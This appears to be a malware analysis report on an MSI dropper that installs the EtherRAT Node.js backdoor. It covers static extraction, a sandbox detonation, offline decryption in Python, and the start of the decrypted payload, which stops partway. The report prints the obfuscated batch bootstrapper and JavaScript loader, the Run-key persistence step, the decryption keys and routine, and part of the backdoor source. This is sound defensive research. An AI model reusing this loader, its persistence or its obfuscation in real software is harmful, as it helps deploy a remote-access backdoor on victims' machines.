Executive Summary
From the malware's staging files, the encrypted EtherRAT payload was extracted and decrypted through reverse engineering of the JavaScript loader's obfuscated constants and custom decryption routine. The decryption process was replicated offline using Python, successfully recovering and validating the 7,411-byte EtherRAT JavaScript payload.
Static and dynamic analysis identified Ethereum-based C2 configuration, randomized HTTP polling, persistent host identification, local logging, configuration storage, and dynamic JavaScript task execution. The analysis further uncovered the Ethereum smart contract, lookup address, function selector, and blockchain-resolved endpoint, providing a complete analysis chain from artifact recovery → decryption → payload validation → Ethereum configuration resolution → EtherRAT capability identification.
Sample Metadata
| Property | Value |
|---|---|
| MD5 | 73ce2438d4ed475e03727b7b000d2794 |
| SHA-1 | 3d5ee8429ef00824c0351cba507dfeb92b54f83b |
| SHA-256 | d9487fdc097f770e5661f9e5dee130068cb179d33716abff1a21c8cb901f25a6 |
| Vhash | ba151a36b5229126cd8a0e26f5d18ec0 |
| SSDEEP | 768:Sm/WjwJC1oRRXWxV/jpRJeWMbC9qZN/nq:k1oRRXWnpbob6r |
| TLSH | T137D25C46B600A332C5871F324A5BEBD95F799C04DF57210236CBB39D2E76AD026B79D0 |
| File type | Windows Installer installer windows msi |
| Magic | Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Code page: 1252, Title: Installation Database, Subject: 1W2NNAMCqZ, Author: BH501whr, Keywords: Installer, Comments: This installer database contains the logic and data required to install 1W2NNAMCqZ., Template: Intel;1033, Create Time/Date: Fri Apr 24 12:44:22 2026, Last Saved Time/Date: Fri Apr 24 12:44:22 2026, Number of Pages: 500, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (), Security: 2, Revision Number: {7E5851C3-37CE-532A-71D1-0C746FA41537} |
| TrID | Microsoft Windows Installer (86.8%) · Windows SDK Setup Transform script (11.6%) · Generic OLE2 / Multistream Compound (1.5%) |
| Magika | MSI |
| File size | 28.50 KB (29184 bytes) |
| Varist packer | msi, msi |
Static Analysis and Payload Unpacking
Static analysis was conducted on the original installer package (.msi) instead of running it in a dynamic sandbox. By utilizing standard archive extraction tools (such as 7z), the MSI was decompressed to expose its internal file organization. This method avoids the early triggering of the malware and facilitates a detailed examination of the included artifacts.After extraction, the installer was identified as a standalone dropper, containing three separate elements needed for the malware's execution process:
kant@APPLEs-MacBook-Pro ~/D/g/1 [7]> 7z x d9487fdc097f770e5661f9e5dee130068cb179d33716abff1a21c8cb901f25a6.msi -oextracted_payload
7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.04 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,4 CPUs x64)
Scanning the drive for archives:
1 file, 29184 bytes (29 KiB)
Extracting archive: d9487fdc097f770e5661f9e5dee130068cb179d33716abff1a21c8cb901f25a6.msi
--
Path = d9487fdc097f770e5661f9e5dee130068cb179d33716abff1a21c8cb901f25a6.msi
Type = Compound
Physical Size = 29184
Extension = msi
Cluster Size = 512
Sector Size = 64
----
Path = Product.cab
Size = 10865
Packed Size = 11264
--
Path = Product.cab
Type = Cab
Physical Size = 10865
Method = MSZip
Blocks = 1
Volumes = 1
Volume Index = 0
ID = 0
Everything is Ok
Files: 3
Size: 13422
Compressed: 29184
kant@APPLEs-MacBook-Pro ~/D/g/1>
EtherRAT Delivery and Execution Chain
Delivery and Initial Triage
The EtherRAT malware uses built-in Windows utilities to avoid initial detection. The Gentlemen affiliates often use tools like certutil.exe to download the payload and msiexec.exe to install it silently.We unpacked the MSI archive to analyze the delivery mechanism without running the malware. This keeps the malware from executing and lets us inspect the embedded files and staging methods.
Archive Hierarchy and Automated Unpacking
The MSI package uses a standard Microsoft Installer structure. The attacker hid the main payload inside an embedded Cabinet (.cab) file named Product.cab.This layered approach does two things. First, it keeps the payload compliant with msiexec.exe, so it installs quietly without triggering immediate operating system warnings. Second, nesting the scripts inside a compressed cabinet file inside the MSI forces security tools to scan through multiple archive layers to find the final payload strings.Extracting the MSI file with 7-Zip automatically unpacked the nested .cab stream.
Extracting the EtherRAT MSI package, revealing the nested Product.cab and the three core payload files.
This streamlined extraction yielded the three final, obfuscated artifacts, successfully bypassing the archival layers meant to obscure them from superficial file scanning.
Component Identification and File-Type Obfuscation
The extraction produced three files. The attacker removed all file extensions, leaving random filenames like DTHaSxAdkC6s.
The extracted payload artifacts demonstrating extensionless file-type obfuscation.
This prevents basic static analysis tools and email gateways from flagging the files based on their extensions. We used the file command to check the file signatures and identify the role of each component.
kant@APPLEs-MacBook-Pro ~/D/g/1/extracted_payload> file . *
.: directory
DTHaSxAdkC6s: data
EG61CIQnLiDW: DOS batch file, ASCII text
r_624k6i0Ucp: JavaScript source, ASCII text, with very long lines (3644)
EG61CIQnLiDW): The bootstrapper is a Windows Batch script that triggers the execution. It checks if Node.js is installed. If not, it downloads and installs a portable Node.js runtime to a hidden folder so the JavaScript payloads can run.r_624k6i0Ucp): The decoder is a JavaScript file that runs in Node.js. It does two things. First, it creates a Registry Run key (often named WindowsHost) to execute the decrypted backdoor headlessly via conhost.exe when the system starts. Second, it reads the encrypted backdoor file and uses a repeating XOR key to decode it. It then writes the decrypted EtherRAT payload to disk.DTHaSxAdkC6s): The encrypted payload is a data blob containing the XOR-encrypted JavaScript source code of the EtherRAT backdoor.Backdoor Initialization
After decryption, the EtherRAT JavaScript payload runs in Node.js. It queries a hardcoded Ethereum smart contract to find its active Command and Control (C2) domain and starts polling for commands.
Breaking the process into three separate parts (installation, decryption, and execution) prevents any single file from having enough context to trigger signature-based antivirus engines.
| Extracted file | Size | Detected type | Initial interpretation |
|---|---|---|---|
EG61CIQnLiDW | 1,357 B | DOS batch file, ASCII | Windows batch/script component |
r_624k6i0Ucp | 4,654 B | JavaScript source, ASCII; very long lines | JavaScript/Node.js component |
DTHaSxAdkC6s | 7,411 B | Encrypted payload |
| File | Hash |
|---|---|
DTHaSxAdkC6s | 2d4b4bb18b8445e49eeda571982874403befcecf78266e3d405f6529d98bee46 |
EG61CIQnLiDW | 8c2665adf8bfab65463f2a9bd1b7bb0231de3f5c1e6a2e51479e44aaac2e7bf0 |
r_624k6i0Ucp | 4142d5efd4ea2abab77f2f0a917610e2ff976bf9e19d7ad1e9156eccdc5412db |
EG61CIQnLiDW Batch Bootstrapper
@echo off
setlocal enabledelayedexpansion
set "aw_=%~dp0"
set "aw_=!aw_:~0,-1!"
set "zqk50=cu"&set "zqk51=rl"
set "sg5u0=tar"
set "a4b80=co"&set "a4b81=nhos"&set "a4b82=t"
set "hfs60=--he"&set "hfs61=adl"&set "hfs62=es"&set "hfs63=s"
set "bzuw0=st"&set "bzuw1=art"
set "lt_x0=no"&set "lt_x1=de"
set "e7c="
where !lt_x0!!lt_x1! >"!aw_!\gNlk1cgh" 2>nul
set /p e7c=<"!aw_!\gNlk1cgh"
del "!aw_!\gNlk1cgh" >nul 2>&1
if defined e7c goto :yiEjv
!zqk50!!zqk51! -sLo "%TEMP%\9gY0LJMyXW.zip" "https://nodejs.org/dist/v18.20.5/node-v18.20.5-win-x64.zip"
!sg5u0! -xf "%TEMP%\9gY0LJMyXW.zip" -C "!aw_!"
del /q "%TEMP%\9gY0LJMyXW.zip" >nul 2>&1
ren "!aw_!\node-v18.20.5-win-x64" gksVMg >nul 2>&1
:yiEjv
:qRUFs
if defined e7c if exist "!e7c!" goto :NmurP
if exist "!aw_!\gksVMg\!lt_x0!!lt_x1!.exe" (
set "e7c=!aw_!\gksVMg\!lt_x0!!lt_x1!.exe"
goto :NmurP
)
if exist "!aw_!\node-v18.20.5-win-x64\!lt_x0!!lt_x1!.exe" (
set "e7c=!aw_!\node-v18.20.5-win-x64\!lt_x0!!lt_x1!.exe"
goto :NmurP
)
timeout /t 3 /nobreak >nul 2>&1
ren "!aw_!\node-v18.20.5-win-x64" gksVMg >nul 2>&1
goto :qRUFs
:NmurP
:MlaNz
if not exist "!aw_!\v72HYLU3OpRBznc.ini" goto :SC8vc
if not exist "!aw_!\A7Pnj975bl.cfg" goto :SC8vc
goto :laZci
:SC8vc
timeout /t 2 /nobreak >nul 2>&1
goto :MlaNz
:laZci
!bzuw0!!bzuw1! "" !a4b80!!a4b81!!a4b82! !hfs60!!hfs61!!hfs62!!hfs63! "!e7c!" "!aw_!\A7Pnj975bl.cfg"
exit
The script employs fragmented variables to rebuild command names like curl, tar, conhost, --headless, start, and node. This offers minimal string obfuscation.
The first major operation checks whether Node.js is available:
where !lt_x0!!lt_x1!
If Node.js is unavailable, the script downloads Node.js v18.20.5 for Windows x64, extracts it, and renames the extracted directory to gksVMg.
It then repeatedly searches for node.exe and waits for two additional artifacts:
v72HYLU3OpRBznc.ini
A7Pnj975bl.cfg
Once both files exist, the script executes:
conhost --headless <node.exe> <A7Pnj975bl.cfg>
Therefore, EG61CIQnLiDW functions primarily as a Node.js provisioning and staged-execution bootstrapper.
r624k6i0Ucp - Obfuscated JavaScript Loader
var $vx=[[14,37,223,62],[29,44,194,58,221,186,82,172,117,182,90,198,0],[13,52,202,33,215],[26,45,217,56,216,136,71],[31,54,204,32],[27,60,206,53,233,132,86,182],[24,54,196,59],[26,116,200,102,221,221,68,191,126,229,91,132,21,97,14,38,10,53,217,119,200,145,1,171,51,163,27,151,85,112,76,54,58,84,239,71,175,166,55,202,13,148,44,164,107,68,126,86,124,23,171,2,189,236,32,222,24,220,108,177,37,83,60,16,15,50,210,116,193,144,4,252,63,164,71,204,0,112,79,54,74,37,201,96,140,208,74,188,115,177,90,128,22,53,91,113,45,29,169,6,239,188,113,140,27,132,60,228,38,87,63,73,60,7,232,68,171,246,98,153,9,196,124,163,96,16,123,85],[22,33,211],[78,34,146,97,218,213,26,187,121,183,9,214,21,96,13,115,8,53,143,118,144,196,7,171,105,242,30,147,5,122,19,55],[28,114,153,52,218,128,19,184,45,228,15,135,68,50,10,115,93,54,218,126,153,195,81,252,108,245,78,146,86,32,78,49,61,7,233,79,250,161,50,205,95,144,125,164,50,65,126,7,120,68,248,85,239,236,38,140,79,221,56,183,122,81,59,66,92,97,218,39,203,146,4,252,110,164,75,195,0,35,76,102,28,34,154,101,221,211,23,236,121,188,89,221,27,55,88,37,125,18,174,80,224,177,35,135,25,130,58,177,35,85,60,72,104,87,236,69,241,172,100,156,90,145,44,164,102,26,123,80,155,243,30,179,11,86,155,58,175,97,143,2,192,181,131,245,143,226,89,162,24,64,131,47,235,117,154,28,135,167,204,180,231,215,50,193,44,118,186,28,141,64,166,118,225,203,174,133,171,198,35,211,57,48,165,88,158,1,238,49,251,208,185,150,143,179,90,243,31,23,212,45,232,115,154,68,138,171,152,232,205,165,31,176,88,3,197,57,249,100,216,0,198,176,221,162,248,149,41,131,105,100,166,92,200,5,190,52,164,215,239,197,189,209,110,151,125,38,226,23,217,16,173,35,179,150,251,217,71,38,153,55,139,215,23,236,34,231,11,133,64,103,11,36,93,108,141,35,204,195,1,252,104,245,29,198,82,39,76,102,107,92,187,71,160,240,54,155,14,150,125,167,101,70,123,86,47,65,172,0,188,226,34,138,28,212,56,189,114,81,104,20,92,51,222,112,193,147,80,170,107,173,71,205,80,113,66,96,24,32,159,62,219,128,64,234,114,224,94,134,64,51,93,116,43,64,173,0,191,228,112,143,27,208,60,224,118,6,110,66,54,82,227,71,249,165,54,207,94,157,123,241,101,16,115,89,204,253,74,180,93,85,198,59,249,109,136,12,203,226,219,163,219,182,88,242,16,20,139,40,190,114,203,67,213,160,153,177,188,133,104,144,42,118,177,29,143,69,174,38,228,195,175,134,246,144,126,135,109,54,171,95,147,83,233,96,245,129,190,193,142,230,83,161,76,68,209,41,236,44,201,20,139,240,158,226,154,173,31,178,94,6,151,62,171,97,223,93,193,224,142,249,253,157,46,213,111,97,244,88,201,81,190,100,170,131,184,195,234,135,63,147,47,113,176,76,143,17,169,114,181,148,172,213],[20,43,194,56],[8,115,153,30,224,169,119,237,85,165,109,247,9,61,89,62,7,58,210],[12,33,202,50,255,140,78,187,73,172,81,214],[31,40,199,57,218],[18,33,197,49,205,141],[13,48,207,63,214],[14,45,219,51],[23,35,197,57,203,128],[9,45,197,50,214,146,81,150,115,177,90],[13,48,207,63,215],[9,54,194,34,220],[27,42,207],[27,60,194,34],[45,1,223,18,239,179,90,138,120,231,101,133,23,97,124,105,52,2,195,8,200,162,124,183,104,246,97,211,57,45,120,99,8,86,231,3,195,130,59,205,89,196,103,209,55,43,80,73,20,35,174,86,223,184,68,151,73,215,99,243,33,15,114,115,90,83,223,43],[28,37,216,51,143,209],[10,43,248,34,203,140,76,185],[39,118,146,35,216,162,27,164,126,150,126,193,63,4,82,124,55,3,233,53,243,173,124,180],[27,60,206,53,255,140,78,187,73,172,81,214],[29,41,253,56],[31,32,207],[63,52,219,4,220,150,77,178,108,176,77],[92,100,137],[63,115,251,56,211,220,21,235,120,185,17,214,21,52]],$kj=[126,69,169,85,189,224,36,217,18,220,53,190,127,94,52,31];function $qz(n){for(var s=$vx[n],r='',j=0;j<s.length;j++)r+=String.fromCharCode(s[j]^$kj[j%$kj.length]^(j&255));return r;}
var f=require('fs'),p=require($qz(0)),B=Buffer,sp=require($qz(1))[$qz(2)],d=p[$qz(3)](process[$qz(4)][0x1]),x=process[$qz(5)],k=B[$qz(6)]($qz(7),$qz(8)),n=B[$qz(6)]($qz(9),$qz(8)),si=B[$qz(6)]($qz(10),$qz(8)),ef=p[$qz(11)](d,$qz(12));function dc(){var _a=f[$qz(13)](ef),_b=B[$qz(14)](_a[$qz(15)]),_c=n[0x0];for(var _d=0x0;_d<_a[$qz(15)];_d++){var _e=_a[_d],_f=_c;_c=_e,_e=_e-_f&0xff,_e=_e^n[_d%n[$qz(15)]]^_d>>>0x8&0xff,_e=si[_e],_e=_e-k[_d%k[$qz(15)]]&0xff,_b[_d]=_e;}return _b;}function go(){try{var _g=dc(),_h=sp(x,['-'],{[$qz(16)]:[$qz(17),$qz(18),$qz(18)],[$qz(19)]:!![]});_h[$qz(20)][$qz(21)](_g),_h[$qz(20)][$qz(22)](),_h['on']($qz(23),function(){setTimeout(go,0x1388);});}catch(_i){setTimeout(go,0x2710);}}var _r=B[$qz(6)]($qz(24),$qz(25))[$qz(26)](),_c=B[$qz(6)]($qz(27),$qz(25))[$qz(26)]();try{require($qz(1))[$qz(28)](B[$qz(6)]($qz(29),$qz(25))[$qz(26)](),[$qz(30),_r,'/v',$qz(31),'/d',_c+'\x20\x22'+x+$qz(32)+p[$qz(11)](d,$qz(33))+'\x22','/f'],{[$qz(19)]:!![],[$qz(16)]:$qz(18)});}catch(_j){}go();
The JavaScript is the more significant of the two artifacts. It contains an array-based string-obfuscation mechanism:
function $qz(n){
for(var s=$vx[n],r='',j=0;j<s.length;j++)
r+=String.fromCharCode(
s[j]^$kj[j%$kj.length]^(j&255)
);
return r;
}
The $vx array stores encoded strings, while $kj provides a repeating XOR key. The additional (j & 255) operation incorporates the byte position into the decoding process.
Recovered strings include Node.js functionality such as:
path
child_process
spawn
dirname
argv
execPath
Buffer.from()
join
readFileSync
stdin
write
end
exit
The script reads v72HYLU3OpRBznc.ini and applies a custom byte transformation to it. The transformation uses differential decoding, XOR operations, a lookup/substitution table, and a second repeating key.
The resulting buffer is passed to a newly spawned Node.js process through standard input:
_h = sp(x, ['-'], ...);
_h.stdin.write(_g);
_h.stdin.end();
The use of node - is significant because the decrypted content can be interpreted as JavaScript directly from standard input rather than being written as a separate plaintext file.
The script also invokes Windows reg functionality through Node.js to create a Run-key persistence mechanism. The encoded values resolve to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run location and the AppResolver value.
The resulting architecture is therefore:
MSI
│
└── Product.cab
│
├── EG61CIQnLiDW
│ ├── Check Node.js
│ ├── Download Node.js 18.20.5
│ ├── Extract runtime
│ ├── Wait for staged files
│ └── Launch Node.js + A7Pnj975bl.cfg
│
└── r_624k6i0Ucp
├── Decode embedded strings
├── Establish persistence
├── Read v72HYLU3OpRBznc.ini
├── Transform/decrypt payload
└── Pipe decrypted data to node -
This demonstrates a multi-stage Node.js execution architecture in which the MSI provides the initial scripts, the batch component provisions the required runtime, and the JavaScript loader performs persistence and subsequent payload processing.
Dynamic Detonation and Recovery of Staged Artifacts
The original MSI was triggered within a contained Windows analysis virtual machine to monitor the malware's following execution phases. The original MSI was run instead of executing the extracted batch or JavaScript files separately. This maintained the execution sequence noted during installation and enabled the malware to establish its temporary working directory and prepare its necessary components.On the first execution attempt, the bootstrapper managed to download the Node.js v18.20.5 Windows x64 archive, but the extraction failed due to the analysis VM’s outdated GNU tar implementation not being compatible with the downloaded ZIP archive giving the error:
tar: Cannot open C:\Users\REM\AppData\Local\Temp\9gY0LJMyXW.zip: Function not implemented
tar: Error is not recoverable: exiting now
The ZIP archive that was downloaded was independently verified with 7-Zip and confirmed to be a valid file. To enable the sample to proceed with its anticipated tar -xf operation, a managed analysis wrapper was later employed to convert the extraction process into a corresponding 7-Zip command.
To allow the execution chain to continue without modifying the malware, a local command wrapper was created at:
C:\Tools\tar\tar.cmd
The wrapper intercepted the specific tar -xf <archive> -C <directory> syntax used by the bootstrapper and translated it to an equivalent 7-Zip extraction command.
The final wrapper used during analysis was:
@echo off
setlocal
if /I "%~1"=="-xf" if /I "%~3"=="-C" (
if not exist "%~4" mkdir "%~4"
"C:\Program Files\7-Zip\7z.exe" x "%~2" -o"%~4" -y
exit /b %ERRORLEVEL%
)
echo Unsupported tar syntax: %*
exit /b 1
The wrapper was placed at the beginning of the PATH environment variable so that the tar command resolved to the controlled wrapper before the legacy GnuWin32 implementation
During the subsequent malware execution, the wrapper successfully handled the malware-generated archive:
Successful Node.js Archive Extraction During Detonation.
This adjustment was implemented solely to suit the analysis environment the original batch script of the malware remained unchanged.Once the extraction phase was finished successfully, the process continued, and a temporary working directory was established:P2RsupmqXnmx
The recovered directory contained:
P2RsupmqXnmx/
├── A7Pnj975bl.cfg
├── MVnVmUYj.cmd
├── node-v18.20.5-win-x64/
└── v72HYLU3OpRBznc.ini
File explorer C:\Users\REM\AppData\Local\P2RsupmqXnmx directory conatining 1 folder of nodejs and 3 files.
SHA-256 Hashes of Recovered Artifacts
4142d5efd4ea2abab77f2f0a917610e2ff976bf9e19d7ad1e9156eccdc5412db A7Pnj975bl.cfg
8c2665adf8bfab65463f2a9bd1b7bb0231de3f5c1e6a2e51479e44aaac2e7bf0 MVnVmUYj.cmd
2d4b4bb18b8445e49eeda571982874403befcecf78266e3d405f6529d98bee46 v72HYLU3OpRBznc.ini
Artifact Renaming During Execution
Comparison of the artifacts extracted directly from the MSI with files recovered from the temporary execution directory showed that the malware stages the same components under different filenames and extensions.
| Original MSI Artifact | Staged Artifact | Type / Role |
|---|---|---|
EG61CIQnLiDW | MVnVmUYj.cmd | Batch bootstrapper |
r_624k6i0Ucp | A7Pnj975bl.cfg | JavaScript loader |
DTHaSxAdkC6s | v72HYLU3OpRBznc.ini | Encrypted payload |
The recovered files were identified by comparing their contents with the artifacts extracted from the original MSI. MVnVmUYj.cmd corresponds to EG61CIQnLiDW, while A7Pnj975bl.cfg contains the same JavaScript code as r_624k6i0Ucp. Similarly, v72HYLU3OpRBznc.ini corresponds to the encrypted payload originally identified as DTHaSxAdkC6s.
The malware therefore changes the filenames and, in some cases, the apparent file extensions during staging. In particular, the JavaScript loader is stored with a .cfg extension and the encrypted payload with a .ini extension, obscuring their actual functions.
Artifact Relationship
MSI
│
┌─────────┼─────────┐
│ │ │
▼ ▼ ▼
EG61CIQnLiDW r_624k6i0Ucp DTHaSxAdkC6s
│ │ │
│ │ │
▼ ▼ ▼
MVnVmUYj.cmd A7Pnj975bl.cfg v72HYLU3OpRBznc.ini
│ │ │
▼ ▼ ▼
Bootstrapper JS Loader Encrypted Payload
Encrypted Payload Recovery and Decryption
During dynamic analysis, three files were recovered from the malware's staging directory. Comparison with the artifacts originally extracted from the MSI established the following relationships:
| Original MSI Artifact | Recovered/Staged Artifact | Role |
|---|---|---|
EG61CIQnLiDW | MVnVmUYj.cmd | Batch bootstrapper |
r_624k6i0Ucp | A7Pnj975bl.cfg | JavaScript loader |
DTHaSxAdkC6s | v72HYLU3OpRBznc.ini | Encrypted payload |
The .ini extension of v72HYLU3OpRBznc.ini does not represent its actual function. The recovered file was identified as binary data and was subsequently processed by the JavaScript loader.
1. JavaScript Loader Analysis
Static analysis of A7Pnj975bl.cfg revealed that the loader constructs the path to the encrypted payload:
ef=p[$qz(11)](d,$qz(12));
After decoding the obfuscated strings, this resolves to:
ef=path.join(d,"v72HYLU3OpRBznc.ini");
The loader then reads the file using:
fs.readFileSync(ef);
The loader contains an obfuscated string-decoding routine:
function$qz(n) {for (vars=$vx[n],r='',j=0;j<s.length;j++
)r+=String.fromCharCode(s[j]^$kj[j%$kj.length]^ (j&255)
);returnr;
}
The $kj array recovered from the loader was:
[126, 69, 169, 85, 189, 224, 36, 217,
18, 220, 53, 190, 127, 94, 52, 31]
Obfuscated JavaScript loader containing the $qz() string-decoding and payload-processing routines.
2. Extraction of Obfuscated Constants
The loader's cryptographic parameters were not stored as directly readable strings. Instead, they were encoded within $vx and decoded at runtime by $qz().
To recover these values without executing the loader, the $qz() routine was independently reproduced using extract_constants.py.
import re
import ast
src = open("A7Pnj975bl.cfg", "r", encoding="utf-8").read()
m = re.search(
r"var \$vx=(\[.*?\]),\$kj=(\[.*?\]);function \$qz",
src,
re.S
)
if not m:
raise RuntimeError("Could not locate $vx/$kj")
vx = ast.literal_eval(m.group(1))
kj = ast.literal_eval(m.group(2))
def qz(n):
s = vx[n]
return ''.join(
chr(s[j] ^ kj[j % len(kj)] ^ (j & 0xff))
for j in range(len(s))
)
print("Decoded $qz() strings:")
print("=" * 60)
for i in range(len(vx)):
try:
print(f"{i:02d}: {qz(i)!r}")
except Exception as e:
print(f"{i:02d}: ERROR: {e}")
print("\n$kj:")
print(kj)
The script was executed
kant@APPLEs-MacBook-Pro ~/D/P2RsupmqXnmx_analysis> python3 extract_constants.py
Decoded $qz() strings:
============================================================
00: 'path'
01: 'child_process'
02: 'spawn'
03: 'dirname'
04: 'argv'
05: 'execPath'
06: 'from'
07: 'd0c0d8fad0d1f246dab1ad3e9f4263f6d0d16c547a3187df2c0d492029c4f060169b85fbe1893c5fd12fee82945e561139b06932a1c15de9233bbc07ca3fc315'
08: 'hex'
09: '0f97c08ecb6cf37cfa40915ec716f997'
10: 'b62bce1f71027a0c3ba806c2f0a75cd1ccb9cd03eeb1a2d760c3f94be872921bbe1127fb4146306626ac4feb3968842ec6ef94a9c7ed0ff8fc7c896204cae910e75e239d54073f9ea6bd151aa059ddf49397538b759c2845e2850e764da48336171ef2632fe198b8c1d616773a7ee37bf1b50adb20aa7d553e51430935bf05199b2a225282403414386ee632b02c1dff5801954e4cb265afa57f570d617812b4b75f86241888cb8064d8252d8e1cc0745df6fa21aec5e5428f8a00da4844f39929abd0dec87981a35bc49a9f47df6c31bacf333c501370568deadc9196fe6b4a0b875a37696a8cd249d473e0ad08bcd9c9ec6d6f3da190b3d3d5fdbbe4f767f5'
11: 'join'
12: 'v72HYLU3OpRBznc.ini'
13: 'readFileSync'
14: 'alloc'
15: 'length'
16: 'stdio'
17: 'pipe'
18: 'ignore'
19: 'windowsHide'
20: 'stdin'
21: 'write'
22: 'end'
23: 'exit'
24: 'SEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxSdW4='
25: 'base64'
26: 'toString'
27: 'Y29uaG9zdCAtLWhlYWRsZXNz'
28: 'execFileSync'
29: 'cmVn'
30: 'add'
31: 'AppResolver'
32: '" "'
33: 'A7Pnj975bl.cfg'
$kj:
[126, 69, 169, 85, 189, 224, 36, 217, 18, 220, 53, 190, 127, 94, 52, 31]
Relevant decoded values included:
07: d0c0d8fad0d1f246dab1ad3e9f4263f6...
08: hex
09: 0f97c08ecb6cf37cfa40915ec716f997
10: b62bce1f71027a0c3ba806c2f0a75cd1...
12: v72HYLU3OpRBznc.ini
The recovered values are subsequently used by the loader to construct:
k=Buffer.from($qz(7),$qz(8));n=Buffer.from($qz(9),$qz(8));si=Buffer.from($qz(10),$qz(8));
Because $qz(8) resolves to hex, the recovered strings are interpreted as hexadecimal byte sequences.
Execution of extract_constants.py recovering the obfuscated strings and decryption constants.
3. Reconstruction of the Decryption Routine
The loader's dc() function processes the encrypted payload byte-by-byte:
function dc() {
var _a = f[$qz(13)](ef),
_b = B[$qz(14)](_a[$qz(15)]),
_c = n[0x0];
for (var _d = 0x0; _d < _a[$qz(15)]; _d++) {
var _e = _a[_d],
_f = _c;
_c = _e;
_e = _e - _f & 0xff;
_e = _e ^ n[_d % n[$qz(15)]] ^ _d >>> 0x8 & 0xff;
_e = si[_e];
_e = _e - k[_d % k[$qz(15)]] & 0xff;
_b[_d] = _e;
}
return _b;
}
The algorithm can be summarized as:
Encrypted byte
│
▼
Subtract previous ciphertext byte
│
▼
XOR with n[i mod len(n)]
│
▼
XOR with ((i >> 8) & 0xff)
│
▼
Substitution through si[]
│
▼
Subtract k[i mod len(k)]
│
▼
Decrypted byte
The first previous-byte value is initialized to n[0]. The previous ciphertext byte is then updated on every iteration.
Therefore, the payload is protected using a custom byte-wise transformation, rather than a simple repeating XOR operation.
4. Offline Payload Decryption
The encrypted payload recovered during analysis was:
v72HYLU3OpRBznc.ini
Its size was:
7,411 bytes
To avoid executing the payload during the decryption process, the dc() routine was independently reproduced in Python.
The complete decrypt_payload.py implementation was:
from pathlib import Path
payload = Path("v72HYLU3OpRBznc.ini").read_bytes()
k = bytes.fromhex(
"d0c0d8fad0d1f246dab1ad3e9f4263f6"
"d0d16c547a3187df2c0d492029c4f060"
"169b85fbe1893c5fd12fee82945e5611"
"39b06932a1c15de9233bbc07ca3fc315"
)
n = bytes.fromhex(
"0f97c08ecb6cf37cfa40915ec716f997"
)
si = bytes.fromhex(
"b62bce1f71027a0c3ba806c2f0a75cd1"
"ccb9cd03eeb1a2d760c3f94be872921b"
"be1127fb4146306626ac4feb3968842e"
"c6ef94a9c7ed0ff8fc7c896204cae910"
"e75e239d54073f9ea6bd151aa059ddf4"
"9397538b759c2845e2850e764da48336"
"171ef2632fe198b8c1d616773a7ee37b"
"f1b50adb20aa7d553e51430935bf0519"
"9b2a225282403414386ee632b02c1df"
"f5801954e4cb265afa57f570d617812b"
"4b75f86241888cb8064d8252d8e1cc07"
"45df6fa21aec5e5428f8a00da4844f39"
"929abd0dec87981a35bc49a9f47df6c3"
"1bacf333c501370568deadc9196fe6b4"
"a0b875a37696a8cd249d473e0ad08bcd"
"9c9ec6d6f3da190b3d3d5fdbbe4f767f5"
)
out = bytearray(len(payload))
previous = n[0]
for i, current in enumerate(payload):
value = current
previous_cipher = previous
previous = current
value = (value - previous_cipher) & 0xff
value = value ^ n[i % len(n)] ^ ((i >> 8) & 0xff)
value = si[value]
value = (value - k[i % len(k)]) & 0xff
out[i] = value
Path("decrypted_payload.bin").write_bytes(out)
print(f"Input : {len(payload)} bytes")
print(f"Output: {len(out)} bytes")
print("Written: decrypted_payload.bin")
The script was executed
The resulting output confirmed that all bytes were processed:
kant@APPLEs-MacBook-Pro ~/D/P2RsupmqXnmx_analysis> python3 decrypt_payload.py
Input : 7411 bytes
Output: 7411 bytes
Written: decrypted_payload.bin
Offline reproduction of the malware's payload-decryption routine.
5. Validation of the Decrypted Payload
The resulting file was analyzed without executing it.
file identified the output as:
file command on decrypted_payload.bin
The first bytes were:
00000000: 2828 2829 3d3e 7b76 6172 205f 613d 7b30
00000010: 7833 3062 286d 6f64 756c 6529 7b66 756e
00000020: 6374 696f 6e20 5f62 285f 6329 7b76 6172
00000030: 205f 643d 6e65 7720 4572 726f 7228 2743
These bytes correspond to valid JavaScript beginning with:
(()=>{var_a={
The SHA-256 of the decrypted payload was:
0ac06c192dbf76ab86515a4cd1b640cbffee0a32166690f90c6b778fe8f7ad01
This successful conversion from binary data to valid JavaScript confirms that the reconstructed decryption routine accurately reproduces the malware's payload-decoding mechanism.
Validation of the decrypted payload as JavaScript source code.
6. Recovered Payload
Contents of the decrypted_payload.bin
((() => {
var _a = {
0x30b(module) {
function _b(_c) {
var _d = new Error('Cannot\x20find\x20module\x20\x27' + _c + '\x27');
_d['code'] = 'MODULE_NOT_FOUND';
throw _d;
}
_b['keys'] = () => [], _b['resolve'] = _b, _b['id'] = 0x30b, module['exports'] = _b;
},
0x2ed(module) {
'use strict';
module['exports'] = require('crypto');
},
0x17f(module) {
'use strict';
module['exports'] = require('fs');
},
0x16e(module) {
'use strict';
module['exports'] = require('os');
},
0x3(module) {
'use strict';
module['exports'] = require('path');
}
},
_e = {};
function _f(_g) {
var _h = _e[_g];
if (_h !== undefined) return _h['exports'];
var module = _e[_g] = {
'exports': {}
};
return _a[_g](module, module['exports'], _f), module['exports'];
}((() => {
_f['o'] = (_i, _j) => Object['prototype']['hasOwnProperty']['call'](_i, _j);
})());
var _k = {};
((async () => {
const _l = 'http://localhost:3000',
_m = '09a3e667-ef7e-4555-8647-1c021745d5fb',
_n = '0xdf0b529043ef7a2bb9111bad26de624a326bacf9',
_o = '0x5953f27f044779a3afcd2bf56a4b712583dd2e4e',
_p = !![],
_q = !![],
_r = ['https://1rpc.io/eth'],
_s = _f(0x17f),
_t = _f(0x3),
_u = _f(0x2ed);
let _v = _l,
_w = _q;
const _x = () => {
const _y = process['env']['LOCALAPPDATA'] || _t['join'](process['env']['USERPROFILE'] || '', 'AppData', 'Local'),
_z = ['Microsoft', 'Windows', 'Programs', 'Packages', 'Google'],
_aa = ['Services', 'Components', 'Assemblies', 'Extensions', 'Modules'],
_ab = (process['env']['COMPUTERNAME'] || '') + (process['env']['USERNAME'] || ''),
_ac = _u['createHash']('md5')['update'](_ab)['digest']('hex')['slice'](0x0, 0x8),
